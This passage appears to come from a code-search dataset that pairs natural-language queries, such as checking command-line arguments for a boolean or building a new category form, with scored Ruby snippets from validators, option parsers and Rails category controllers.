ingredients.include?(ingredient)\n end\n end", "title": "" }, { "docid": "2e0246c80721bf6df8ddac59efb125b1", "score": "0.63945085", "text": "def add_ingredients(ingredients)\n ingredients.each do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end\n\n end", "title": "" }, { "docid": "e3429f0f01962a36e186d49056ddb30a", "score": "0.63867474", "text": "def add_ingredients(ingredient_array)\n i = 0\n while i < ingredient_array.length\n RecipeIngredient.new(self, ingredient_array[i])\n i += 1\n end\n end", "title": "" } ]
ce04998cef5b6941d6a30deb2727f8b1
Returns a boolean value. Argument is provided through the command line.
[ { "docid": "74c252bd3d0a8744b87d67f732683381", "score": "0.0", "text": "def palindrome(s)\n result = true\n len = s.length\n s.delete! s[(len - 1) / 2] if len % 2 != 0\n len = s.length\n (0..(len / 2) - 1).each do |i|\n s[i] == s[len - 1 - i] ? next : result = false\n end\n result\nend", "title": "" } ]
[ { "docid": "c065df107fca8682421116576809cf94", "score": "0.76254797", "text": "def boolean(arg)\n case arg\n when 'true'\n 1\n when 'false'\n 0\n when nil\n 0\n end\n end", "title": "" }, { "docid": "bbb841c9046518ecf32dc71479172fda", "score": "0.6887156", "text": "def commandline\n ui == \"commandline\"\n end", "title": "" }, { "docid": "5792657dce8e3f973234f3a169a77814", "score": "0.6804624", "text": "def boolean?\n !@arg[:boolValue].nil?\n end", "title": "" }, { "docid": "4534b2e953d60ce92432cce47db025f9", "score": "0.67798364", "text": "def expects_argument?\n config[:argument] && config[:argument] != :optional\n end", "title": "" }, { "docid": "dda8bd5e635ea825fdc3b3b788e7359d", "score": "0.6623595", "text": "def expects_argument?\n true\n end", "title": "" }, { "docid": "7af2fb6a6eab87e1295290e6b19f11e8", "score": "0.6560956", "text": "def send_request?\n case ARGV[0]\n when \"--no-request\"\n return false\n end\n return true\nend", "title": "" }, { "docid": "343ef00ef4b33873a1203055a0ac8a0d", "score": "0.65597355", "text": "def arguments_valid?\n \n # true if @arguments.length == 1 && (File.directory?(@options.output) || File.exists?(File.dirname(@options.output))) && File.directory?(@options.input)\n case @options.mode\n when \"queue\"\n true if File.directory?(@options.output)\n when \"crawl\"\n true if File.directory?(@options.output) && File.directory?(@options.input?)\n else\n true if @arguments.length == 1\n end\n end", "title": "" }, { "docid": "8816e598ae865d124dad4e5f34503273", "score": "0.65385497", "text": "def arguments?\n @config.arguments == Cliqr::Config::ENABLE_CONFIG\n end", "title": "" }, { "docid": "045d08e069f4bb196d30f73309c0f63b", "score": "0.647629", "text": "def right_type?\n ARGV[0].is_a?(String) && ARGV[1].is_number? && ARGV[2].is_number?\n end", "title": "" }, { "docid": "23940083c3d71021bb392eaa7c62e1af", "score": "0.6463582", "text": "def arguments_passed?\n !!(ARGV[0] && ARGV[1] && ARGV[2])\n end", "title": "" }, { "docid": "e10e178138c2905256085d2c1f93bed7", "score": "0.64510375", "text": "def is_file_input?(command_line_arguments)\n\t\tcommand_line_arguments.any?\n\tend", "title": "" }, { "docid": "2fb1437a034198896c4e92d1158a1fdf", "score": "0.6442236", "text": "def param_check_bool(param, value)\n if value != 'true' && value != 'false'\n write_output 'Error'.red + \" : argument must be 'true' or 'false' when setting param #{param[:string]}\\n\"\n return false\n end\n param_exec_value_change(param, value)\n end", "title": "" }, { "docid": "cd3391544eb3d50693338de64b0f410f", "score": "0.641637", "text": "def true?(param)\n params[param] == 'on'\n end", "title": "" }, { "docid": "c177147e3f478ced12043645a931d954", "score": "0.6390322", "text": "def argument?; end", "title": "" }, { "docid": "ac38363863e4672b4a8e2034100eaa8b", "score": "0.6380886", "text": "def arguments_valid?\n true if ['install','list','uninstall'].include?(@arguments[0])\n end", "title": "" }, { "docid": "0b6450a509519b241a3b909941b15793", "score": "0.6298848", "text": "def option?(param)\n param[0] == \"-\"\n end", "title": "" }, { "docid": "49181febace6ada5e1421640a4038bbd", "score": "0.6298699", "text": "def has_arg?(flag)\n\t\tfp = @flag_pairs.get_value(flag)\n\t\treturn fp != nil && (@args_a.include?(flag) || @args_a.include?(fp))\n\tend", "title": "" }, { "docid": "be6fab489ac84546b9db130574565e41", "score": "0.62986535", "text": "def integer?(command)\n command == command.to_i.to_s\nend", "title": "" }, { "docid": "d31db488116b93919629ef42e17fef6f", "score": "0.62896043", "text": "def arguments_valid?\n true if @arguments.length == argv_length \n end", "title": "" }, { "docid": "769f78c7c31b6d8595ecb99b68793466", "score": "0.6282209", "text": "def executable_real?() end", "title": "" }, { "docid": "e9e94f31cd331080307d6ee3f37b0b89", "score": "0.6270649", "text": "def has_argument?(key)\n self.arguments.set?(key)\n end", "title": "" }, { "docid": "e9e94f31cd331080307d6ee3f37b0b89", "score": "0.6270649", "text": "def has_argument?(key)\n self.arguments.set?(key)\n end", "title": "" }, { "docid": "d601c020efe6aee9ef799390a24e99b6", "score": "0.6244475", "text": "def executable?() end", "title": "" }, { "docid": "0076bed1bc82811f6391195a182ec76f", "score": "0.62325937", "text": "def to_cli_boolean(value)\n case value\n when true\n :true\n else\n :false\n end\n end", "title": "" }, { "docid": "742cf1b9b73205a8dc935c4118a4a27b", "score": "0.62323976", "text": "def test_has_can_tell_whether_or_not_an_argument_has_been_set\n Crd::Flex::Command.new 'mxmlc' do |s|\n assert_equal( false, s.has?( :output ) )\n end\n end", "title": "" }, { "docid": "d95c9742a0e1b58178d1b9711df7b28d", "score": "0.6231437", "text": "def parsed_arguments?\n return true if @arguments.empty?\n case @arguments.length\n when 1\n case @arguments[0]\n when 'setup'\n @options[:restore] = false\n when 'restore'\n @options[:restore] = true\n else\n return false\n end\n else\n return false\n end\n return true\n end", "title": "" }, { "docid": "61fb28c58fac13344046e4186366f08d", "score": "0.62287974", "text": "def true \n \"true\" \n end", "title": "" }, { "docid": "8ba5107953a6e7545598ddce1b81648d", "score": "0.6172159", "text": "def arguments_valid?\n # right now, there is no set of invalid arguments.\n # (can I really just say true here? I don't have to return something?)\n true unless (@options.set_status == true and @options.status == nil)\n end", "title": "" }, { "docid": "c536e7d8405c1ea6265642254ef5d551", "score": "0.6168804", "text": "def test_positive\n args = Arguments.new\n assert_equal false, args.check_args(5)\n end", "title": "" }, { "docid": "ae3e1f6d86648eacbd3597efecae70a6", "score": "0.6152239", "text": "def hasArg?(arg); argSet.member?(arg) end", "title": "" }, { "docid": "95395d8b57bd1f79879cc9cfc0a14450", "score": "0.61465645", "text": "def test?\n value_for('test') == 'true'\n end", "title": "" }, { "docid": "56e3d860a4836b21429a6ae23a1aa86c", "score": "0.6129159", "text": "def accepts_optional_argument?\n config[:optional_argument] || config[:argument] == :optional\n end", "title": "" }, { "docid": "296d2abb43df7605cd0bc616868f560b", "score": "0.6121847", "text": "def is_true(user_input)\n if user_input == \"yes\"\n true\n else\n false\n end\nend", "title": "" }, { "docid": "ef634bcd7fd60a3a4b5c3a444fae4562", "score": "0.6115189", "text": "def pry_command?(val)\n !!command_matched(val).first\n end", "title": "" }, { "docid": "e480d350cda9e4302fa30b7514f91b5e", "score": "0.6111217", "text": "def command?(name)\n __getobj__.present?(name)\n end", "title": "" }, { "docid": "0f2857165edc8a09635d6f149b352a8e", "score": "0.611035", "text": "def is_bool(value) #method\n if value == 'verdadero' || value == 'falso'\n true\n else\n false\n end\n end", "title": "" }, { "docid": "0d452e032e22a9ddfbe86dbfda83a061", "score": "0.6109779", "text": "def test_one_ints\n args = Arguments.new\n assert_equal false, args.check_args([1])\n end", "title": "" }, { "docid": "ef980207af2748905ac409b78683ee58", "score": "0.610924", "text": "def check_command_line\n if (!ARGV[0].nil? && ARGV[0].downcase == \"test\")\n @test = true\n elsif(ARGV.length < 2)\n puts \"USAGE: ruby main.rb <users_csv_file> <businesses_csv_file>\"\n puts \"OR\"\n puts \"USAGE: ruby main.rb test\"\n exit 1\n end\nend", "title": "" }, { "docid": "1b1dcf7d9f8cea7b63cc853a747403c9", "score": "0.60991645", "text": "def valid_argument? name, type\n if name.nil? || name.empty? || name == type\n shell.say(\"ERROR: Invalid/missing argument.\") and false\n else\n true\n end\n end", "title": "" }, { "docid": "1c0ddbac4ae1aac6615fba7bc0f33f15", "score": "0.60948104", "text": "def command?(name)\n !which(name).nil?\nend", "title": "" }, { "docid": "69b221840f4100207c240fd00fb77f96", "score": "0.6086221", "text": "def allowed_on_commandline?\n @deprecated == :allowed_on_commandline\n end", "title": "" }, { "docid": "62a96328df28bded3d9040a10b5ebf81", "score": "0.60849935", "text": "def has_option?(arg)\n !!find_option(arg)\n end", "title": "" }, { "docid": "404553411ef9d82ed23983ede6b09bc5", "score": "0.6078153", "text": "def boolean(boolI)\n if boolI==1 then\n return true\n end\n return false\nend", "title": "" }, { "docid": "d95637c2e66cc09a134c2fb4abdb8f33", "score": "0.6061651", "text": "def on_call_boolean(context, expression)\n retval = process(expression, context)\n bool = false\n\n if retval.is_a?(Numeric)\n bool = !retval.nan? && !retval.zero?\n elsif retval\n bool = !retval.respond_to?(:empty?) || !retval.empty?\n end\n\n return bool\n end", "title": "" }, { "docid": "6ee4cc0bf467582de1bd3b6c4f520574", "score": "0.60579824", "text": "def mapper_needs_run_arg?\n return false if settings[:map_command]\n return false if mapper_arg.to_s == mapper_name.to_s\n return false if File.basename(mapper_arg.to_s, '.rb') == mapper_name.to_s\n true\n end", "title": "" }, { "docid": "b034b0217f7f58b1334513d76b13c2ac", "score": "0.60550165", "text": "def bool()\n val = _int32(\"bool\")\n\n case val\n when 0\n false\n when 1\n true\n else\n raise ArgumentError, \"Invalid value for bool: #{val}\"\n end\n end", "title": "" }, { "docid": "99d1ed2e7af0ebb37558da78a80522d2", "score": "0.6039291", "text": "def booleanish_to_boolean(arguments, ddl)\n arguments.keys.each do |key|\n if ddl[:input].keys.include?(key)\n if ddl[:input][key][:type] == :boolean\n arguments[key] = true if arguments[key] == \"true\"\n arguments[key] = true if arguments[key] == \"yes\"\n arguments[key] = true if arguments[key] == \"1\"\n arguments[key] = false if arguments[key] == \"false\"\n arguments[key] = false if arguments[key] == \"no\"\n arguments[key] = false if arguments[key] == \"0\"\n end\n end\n end\n rescue\n true\n end", "title": "" }, { "docid": "07a2569c296aed4b3445b92602faa473", "score": "0.6035205", "text": "def test_string\n args = Arguments.new\n assert_equal false, args.check_args(\"puppy\")\n end", "title": "" }, { "docid": "7d74dd517b3f6ab0817a54289aced862", "score": "0.6031117", "text": "def executable?\n true\n end", "title": "" }, { "docid": "f1b7cc6442427da4802f3308f090bee3", "score": "0.6022006", "text": "def parse_bool() true end", "title": "" }, { "docid": "24f706f777cf5c1304178db77e15a36d", "score": "0.6020268", "text": "def parse_options\n case ARGV[1]\n when \"-p\", \"-plugin\"\n return true\n when \"-u\", \"-unplug\"\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "5138963b98451bcf13bdd4fb3025c9a0", "score": "0.6018108", "text": "def show_usage?\n args_def.show_usage?\n end", "title": "" }, { "docid": "cf3deff38f22d3476040257b572f71a6", "score": "0.60099804", "text": "def ate(*args)\n\t\t\t\t@echo = args[0] == '1'\n\t\t\t\tok\n\t\t\tend", "title": "" }, { "docid": "d07ea35d42a03211fe78caf65276a613", "score": "0.6009814", "text": "def command?(name)\n !which(name).nil?\n end", "title": "" }, { "docid": "04b1c1a36c58a2b319cb7fabc0569e4d", "score": "0.6008329", "text": "def arguments?\n arguments.any?\n end", "title": "" }, { "docid": "0285da78d372fbb372602c74579f326c", "score": "0.60037524", "text": "def command?(name)\n `which #{name}`\n $?.success?\nend", "title": "" }, { "docid": "0285da78d372fbb372602c74579f326c", "score": "0.60037524", "text": "def command?(name)\n `which #{name}`\n $?.success?\nend", "title": "" }, { "docid": "0fd5f6513b0035249a067a2ecef6f893", "score": "0.6000992", "text": "def test?\n true\n end", "title": "" }, { "docid": "93ece89ff1ed7f6e3fbd29accdeb2354", "score": "0.5997958", "text": "def up_arg_ok(help, args, name)\n vol = get_arg(\"--#{name}\", args)\n if vol.nil? || vol == name # handled in cyber-dojo.sh\n return true\n end\n\n if vol == ''\n STDERR.puts \"FAILED: missing argument value --#{name}=[???]\"\n return false\n end\n unless volume_exists?(vol)\n STDERR.puts \"FAILED: start-point #{vol} does not exist\"\n return false\n end\n type = cyber_dojo_type(vol)\n if type != name\n STDERR.puts \"FAILED: #{vol} is not a #{name} start-point (it's type from setup.json is #{type})\"\n return false\n end\n return true\nend", "title": "" }, { "docid": "3a08774bad7be94def2fb55a1f8d9960", "score": "0.59970564", "text": "def run?\n return false unless @process\n return true\n end", "title": "" }, { "docid": "6ac2515adb017fd9c517da538721ca10", "score": "0.5992387", "text": "def test_arg_check_turns_valid\n ret = arg_check_turns '1'\n assert_equal ret, 0\n end", "title": "" }, { "docid": "92279f5a3577b251f0be646d08a9c141", "score": "0.59828365", "text": "def valid_argv?\n ARGV[0] && ARGV.all? { |arg| /.+:.+/ =~ arg }\nend", "title": "" }, { "docid": "a0ec2ae836a1af2312ba26c2b0df096e", "score": "0.5978158", "text": "def get_boolean_value\n\t\tend", "title": "" }, { "docid": "7655353afc5d6e65f2d3e487735ddd33", "score": "0.5975582", "text": "def true?\n self.value == '1'\n end", "title": "" }, { "docid": "14254e9eb90e51db779c6bb28af33fc3", "score": "0.597269", "text": "def get_cli_attrib(attrib, fail_if_undefined=false, bool=false)\n if ENV.include?(attrib)\n if bool\n return (ENV[attrib] ==0 || ENV[attrib] == \"true\" ? true : false)\n else\n return ENV[attrib]\n end\n elsif fail_if_undefined\n exit_with_error(\"Command line attribute not found #{attrib} !\", ENV) if fail_if_undefined\n else\n return nil\n end\n end", "title": "" }, { "docid": "5f8f0da29a725e35090efd6f3c371142", "score": "0.59715426", "text": "def baclava?\n @run.baclava_input?\n end", "title": "" }, { "docid": "7033f56a48f470f237c2a69a5133af60", "score": "0.5970802", "text": "def check_args(args)\r\n args.count == 1\r\n File.exist?(ARGV[0].to_s)\r\nrescue StandardError\r\n false\r\nend", "title": "" }, { "docid": "313e4c523aa48f854210099eb79845b3", "score": "0.5970756", "text": "def valid_arguments?\n begin\n if(@options.file)\n raise LoadError,\"The file you specified doesn't exist: #{@options.file}\" if File.exist?(@options.file) == false\n else\n @log.error \"Select a file using -f or --file FILE\"\n exit!\n end\n \n if(@options.output)\n # not going to worry about this one.\n else\n @log.error \"No output was specified select using -o or --output\"\n exit!\n end\n rescue LoadError => bam\n @log.error bam\n exit!\n end\n \n return true\n end", "title": "" }, { "docid": "d8db5c2fb6dcf181a67d8c64d9c27219", "score": "0.59694725", "text": "def test_boolean_parses_true_string\n bc, ctx = compile 'true'\n ci = mkci bc, ctx\n assert ci.run\n end", "title": "" }, { "docid": "45c47c6e70979f07aa3fd6a32486784d", "score": "0.59636766", "text": "def test_positive\r\n args = Args.new\r\n assert_equal false, args.check_args(6)\r\n end", "title": "" }, { "docid": "df223d78b12e42d6b66128f6a3a3b666", "score": "0.5962732", "text": "def arguments?\n arguments.any?\n end", "title": "" }, { "docid": "8a6ead4ef042e9b43d662bd544b528df", "score": "0.59605885", "text": "def void_true(*args)\n return true\n end", "title": "" }, { "docid": "94a4ea912f3f8d59f0de64f0cdb52410", "score": "0.59597373", "text": "def good_guess?(arg)\n\tif arg == 42\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "c2e028915e5853e488a625635d5d13ce", "score": "0.5954827", "text": "def command_given?\n [email protected]?\n end", "title": "" }, { "docid": "b37d129cd03acadc169a8c100269d303", "score": "0.59498024", "text": "def executable?; true; end", "title": "" }, { "docid": "b37d129cd03acadc169a8c100269d303", "score": "0.59498024", "text": "def executable?; true; end", "title": "" }, { "docid": "6cb569d081f23b704bee51ae1daf545f", "score": "0.59457505", "text": "def is_option option\n Shell::Parser.is_option option, @argv\n end", "title": "" }, { "docid": "b48f3f9ed2ae22d9ba66dc3986fa6daf", "score": "0.59449273", "text": "def parse(args)\n true\n end", "title": "" }, { "docid": "00285e8dd3bd6519c58e346c62919106", "score": "0.594396", "text": "def test_arg_check_prospectors_valid\n ret = arg_check_prospectors '1'\n assert_equal ret, 0\n end", "title": "" }, { "docid": "25a5b55dbdfc599542b6b5fb5126a952", "score": "0.59394264", "text": "def args_valid?\n\tARGV.size == 1 && File.exist?(ARGV[0]) || Dir.exist?(Dir.pwd + \"/\" + ARGV[0])\nend", "title": "" }, { "docid": "25a5b55dbdfc599542b6b5fb5126a952", "score": "0.59394264", "text": "def args_valid?\n\tARGV.size == 1 && File.exist?(ARGV[0]) || Dir.exist?(Dir.pwd + \"/\" + ARGV[0])\nend", "title": "" }, { "docid": "3bb09379ead1ccf4bd72043523f30933", "score": "0.59393895", "text": "def true?\n self.value == '1'\n end", "title": "" }, { "docid": "e10b197fbc8b121eb7ad6f12abee5829", "score": "0.59371066", "text": "def check(value)\n # We have to invert the values.\n if value == :true\n false\n else\n true\n end\n end", "title": "" }, { "docid": "3c6f7a5284d9be9752aed716a219f22c", "score": "0.5932911", "text": "def command?(name)\n !which(name).nil?\n end", "title": "" }, { "docid": "fc62357f5cba2a26cb3a3c6ec79e5610", "score": "0.59310246", "text": "def simple?\n true\n end", "title": "" }, { "docid": "dd7cbea782a3543a47b50a36016f11b8", "score": "0.59299797", "text": "def provides_arguments?\n true\n end", "title": "" }, { "docid": "dd7cbea782a3543a47b50a36016f11b8", "score": "0.59299797", "text": "def provides_arguments?\n true\n end", "title": "" }, { "docid": "51c2fdfc2cd5dbe7e45240edfc979923", "score": "0.5929187", "text": "def user_executable?(mode)\n mode & 00100 == 00100\n end", "title": "" }, { "docid": "2c3f37e2b4a9a6ecc9498054ee0b71da", "score": "0.5921532", "text": "def check(value)\n # We have to invert the values.\n if value == :true\n false\n else\n true\n end\n end", "title": "" }, { "docid": "e6a0bfa5a71beb1d6250e48b050723ae", "score": "0.590777", "text": "def string?\n !@arg[:textValue].nil?\n end", "title": "" }, { "docid": "2ad660a549d5630f5da2d4dd8b6ca63a", "score": "0.5907059", "text": "def true(_argvs)\n return nil\n end", "title": "" }, { "docid": "9ed5d415b59d5443459d32231f3aac19", "score": "0.59017617", "text": "def truth(a)\n\tif a == \"y\"\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "62c54108118d36632fc5e8fd06a19060", "score": "0.59014726", "text": "def valid_arguments?\n begin\n if(@options.file)\n raise LoadError,\"The file you specified doesn't exist: #{@options.file}\" if File.exist?(@options.file) == false\n else\n @log.error \"Select a file using -f or --file FILE\"\n end\n \n if(@options.output)\n # not going to worry about this one.\n else\n @log.error \"No output was specified select using -o or --output\"\n end\n rescue LoadError => bam\n @log.error bam\n exit\n end\n \n return true\n end", "title": "" }, { "docid": "62c54108118d36632fc5e8fd06a19060", "score": "0.59014726", "text": "def valid_arguments?\n begin\n if(@options.file)\n raise LoadError,\"The file you specified doesn't exist: #{@options.file}\" if File.exist?(@options.file) == false\n else\n @log.error \"Select a file using -f or --file FILE\"\n end\n \n if(@options.output)\n # not going to worry about this one.\n else\n @log.error \"No output was specified select using -o or --output\"\n end\n rescue LoadError => bam\n @log.error bam\n exit\n end\n \n return true\n end", "title": "" }, { "docid": "62c54108118d36632fc5e8fd06a19060", "score": "0.59014726", "text": "def valid_arguments?\n begin\n if(@options.file)\n raise LoadError,\"The file you specified doesn't exist: #{@options.file}\" if File.exist?(@options.file) == false\n else\n @log.error \"Select a file using -f or --file FILE\"\n end\n \n if(@options.output)\n # not going to worry about this one.\n else\n @log.error \"No output was specified select using -o or --output\"\n end\n rescue LoadError => bam\n @log.error bam\n exit\n end\n \n return true\n end", "title": "" }, { "docid": "131eb5b214fcf6d708f643082bbe8c22", "score": "0.58997995", "text": "def binary?\n BINARY_OPERATORS.include?(selector) && arguments.length == 1 && arguments.first.type != :splat\n end", "title": "" }, { "docid": "8e11f329bbd8e06934efeb423754e675", "score": "0.58935386", "text": "def program_name?\n \"runs\"\n end", "title": "" }, { "docid": "b46fd1ad3c167f95ea87d03de355a645", "score": "0.5891444", "text": "def test?\n params['x_test_request'] == 'true'\n end", "title": "" }, { "docid": "fee3a245ce72b0b8890a749ac76da691", "score": "0.58897024", "text": "def arguments_valid?\n # TO DO - implement your real logic here\n true if @arguments.length == 1 \n end", "title": "" }, { "docid": "631cbd5c004ecfb16c7cc22d8bf90883", "score": "0.5887514", "text": "def test_zero\n args = Arguments.new\n assert_equal false, args.check_args(0)\n end", "title": "" }, { "docid": "c850828ee6eb48913f12fb65e113b69c", "score": "0.58852524", "text": "def boolean(value)\n value.strip =~ /^(y|t)$/i ? true : false\n end", "title": "" } ]
5fd7bc60bbace0724e1cc760a6b3516c
the new form for a category
[ { "docid": "fdf2e3a74a6e4cd559d637b49bac0725", "score": "0.79457325", "text": "def new\n\t\t@category = Category.new\n\tend", "title": "" } ]
[ { "docid": "dbe062c51d0e2065f845b4ad8555e110", "score": "0.8530633", "text": "def new\n # Create a new category instance that will be used in the form:\n @category = Category.new;\n end", "title": "" }, { "docid": "d70ce1903bf6c53cb2c332d30db573d8", "score": "0.8137924", "text": "def new\n\t@category = Category.new\n\nend", "title": "" }, { "docid": "58de024b0d936d58504d4bec0ea73b3a", "score": "0.8025909", "text": "def new\n @category = Category.new params[:category]\n end", "title": "" }, { "docid": "69040e0bb79c3f8ccaffdbbe4c6c7972", "score": "0.79929113", "text": "def new\n \t \t@category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.79760045", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "c610c479574d21674bbef1d15b4b08c9", "score": "0.7975864", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "3f95fd686dacb8240df94a4c9b95654b", "score": "0.7964568", "text": "def new\n @category = Category.new\nend", "title": "" }, { "docid": "544c7aa40f78c15644d81a698066d41b", "score": "0.7954942", "text": "def new\n @category = Category.new(params[:category])\n end", "title": "" }, { "docid": "deaf872c487d690db09b9be3b912845a", "score": "0.79057217", "text": "def uhook_category_form form\n ''\n end", "title": "" }, { "docid": "d049dd28e6e2ccb4b9f213c9efad5d0d", "score": "0.7872724", "text": "def new\n @category = Category.new \n end", "title": "" }, { "docid": "eb8fbe4dca1122e62b46762067af1744", "score": "0.78403574", "text": "def create\n\t\t@category = Category.new(category_params)\n\n\t\tif @category.save\n\t\t\t\n\t\t\t# tell the user they've added this category\n\t\t\tflash[:success] = @category.name + \" Added\"\n\n\t\t\t# go back to the homepage\n\t\t\tredirect_to root_path\n\n\t\telse\n\t\t\t\n\t\t\t# if the category does NOT save\n\t\t\t# i want to show the form again but with some errors\n\n\t\t\t# we've already got the view that we want to show to the user\n\t\t\t# this is the new.html.erb\n\t\t\trender \"new\"\n\n\n\t\tend\n\n\tend", "title": "" }, { "docid": "c57511ac54b88fb8bdfb6b369797738e", "score": "0.7828157", "text": "def create\n\t\t@category = Category.new(category_params)\n\n\t\tif @category.save\n\t\t\tflash[:success] = \"Category added\"\n\t\t\t\n\t\t\t# go back to homepage\n\t\t\tredirect_to root_path\n\t\t\n\t\telse\n\t\t\t\n\t\t\t# fi the category does NOT save\n\t\t\t# i want to show the form again but with some errors\n\n\t\t\t# we've already got the view that we want to show to the user\n\t\t\t# this is the new.html.erb\n\t\t\trender \"new\"\n\n\t\tend\n\n\t\t\n\n\t\t\n\tend", "title": "" }, { "docid": "08e5df0898d87d5ad52b9b4ff8bda7e7", "score": "0.77836466", "text": "def new\n @recipe_category = RecipeCategory.new\n end", "title": "" }, { "docid": "bb96cc3178bb66e9f6256534dcca80fd", "score": "0.7756026", "text": "def new\n @category = Category.new\n render :action => \"edit\"\n end", "title": "" }, { "docid": "f3b91b3e92025d247fee6d731a29de8c", "score": "0.77484226", "text": "def create\n\t@category = Category.new(category_params)\n\t\n\tif @category.save\n\t\t\n\t\tflash[:success] = \"Category added\"\n\n\n\t\t#go back to the homepage\n\t\tredirect_to root_path\n\n\telse\n\t\t\n\t\t#if the category does NOT save I want to show the form again but\n\t\t#some errors\n\t\t#we've already got the view that we want to show to the user\n\t\t#this is the new.html.erb\n\t\trender \"new\"\n\n\n\tend\nend", "title": "" }, { "docid": "89845d85b0a9323c2ce5e06799e2a1ae", "score": "0.7725755", "text": "def new\n @category = Category.new\n\n render :index\n end", "title": "" }, { "docid": "2171a5a9ef36ba7bb0be839702fb9b8d", "score": "0.77174246", "text": "def new\n # /cats/new\n # show a form to create a new object\n @cat = Cat.new\n render :new\n end", "title": "" }, { "docid": "bf0e2470e1c0056fe7fb754731d43a1e", "score": "0.76895696", "text": "def create\n @category = Category.new(params[:category])\n\n if @category.save\n flash[:notice] = '分类创建成功.'\n redirect_to(cpanel_categories_path)\n else\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "a2eb4852c95ffea43132d0355f91f694", "score": "0.76869905", "text": "def new\n @cat = Cat.new\n render :new\n end", "title": "" }, { "docid": "eea0310584e8058e38d722bbf8787bc5", "score": "0.7686459", "text": "def new \n @cat = Cat.new\n render :new\n end", "title": "" }, { "docid": "a92bcf912b7f2374c46a7079e5bb7266", "score": "0.7668016", "text": "def new\n @group_category = GroupCategory.new\n\n end", "title": "" }, { "docid": "f2e0a89f4eca1ae8fc558cbc1eec7434", "score": "0.7663241", "text": "def new\n @category = Category.new()\n end", "title": "" }, { "docid": "2286b3402f9ce922671fd594844096f2", "score": "0.7650753", "text": "def new\n @food_category = FoodCategory.new\n end", "title": "" }, { "docid": "df884a96e95cb21e44b03f4d04236edb", "score": "0.76404", "text": "def create\n @category = Category.new(params[:category])\n # Save object in database.\n if @category.save\n flash[:notice] = \"Category created successfully\"\n render :update do |page|\n page.redirect_to :action => \"list\"\n end\n else\n render :update do |page|\n page.replace_html \"new-category\", :partial => \"new\"\n end\n end\n end", "title": "" }, { "docid": "b991f335cc6e8c778e349532228fe897", "score": "0.7608459", "text": "def create\n\t\t@category = Category.new(category_params)\n\n\t\tif\n\n\t\t\[email protected]\n\n\t\t\t# tell the user they have deleted this category\n\t\t\tflash[:success] = \"Category added\"\n\n\t\t\t\t# redirect to homepage\n\t\tredirect_to root_path\n\tend\n\n\t\telse\n\n\t\t\t# if the category does NOT save\n\t\t\t# i want to shwo the form again but with some errors\n\n\t\t\t# we've already got the form we want to show the user\n\t\t\t# e.g. new.html.erb\n\n\t\t\trender \"new\"\n\n\t\tend", "title": "" }, { "docid": "a8239eb0aa02e92796cd84e5a9161333", "score": "0.75918704", "text": "def ce_new_cat\n ce_get_form_vars\n if params[:classification_name]\n @cat = Classification.lookup_by_name(params[\"classification_name\"])\n ce_build_screen # Build the Classification Edit screen\n render :update do |page|\n page << javascript_prologue\n page.replace(:tab_div, :partial => \"settings_co_tags_tab\")\n end\n end\n end", "title": "" }, { "docid": "0f96fb659c15e2777ddf58f4089133bc", "score": "0.7588579", "text": "def create\n @form_category = FormCategory.new(form_category_params)\n\n respond_to do |format|\n if @form_category.save\n format.html { redirect_to form_categories_path, flash: { success: 'Form category was successfully created.' } }\n format.json { render :show, status: :created, location: @form_category }\n else\n format.html { render :new }\n format.json { render json: @form_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9887ae844ead525a401883a1c1e2dd1", "score": "0.75694853", "text": "def new\n add_breadcrumb \"New Category\", new_admin_category_path\n @category = params[:id] ? Category.find(params[:id]).children.new : Category.new\n @count = Category.count\n end", "title": "" }, { "docid": "21165830739763d6dbdcb3ff4bc71e1e", "score": "0.7558208", "text": "def new\n\n @categorie = Categorie.new\n end", "title": "" }, { "docid": "b3e77040afb21b45aa8ae0d33f4a1e57", "score": "0.7548891", "text": "def new\n respond_with(category)\n end", "title": "" }, { "docid": "f9e45294f61da85d2d2e34fae79c799a", "score": "0.7526152", "text": "def new_category(params)\n Category.new(params)\n end", "title": "" }, { "docid": "0c9ea155c39d9e24db17f60a9ed8fafc", "score": "0.7525727", "text": "def create\n begin\n # Instantiate a new object using form parameters\n \n if params[:category]\n if params[:category][:parent_id].blank?\n @category = Category.new :name => params[:category][:name]\n else\n @category = Category.new :name => params[:category][:name], :parent_id => params[:category][:parent_id]\n end\n else\n @category = Category.new\n end \n # Save the object\n @category.save!\n # If save succeeds, redirect to the list action\n flash[:notice] = \"Category Created\"\n redirect_to(:action => 'list')\n rescue 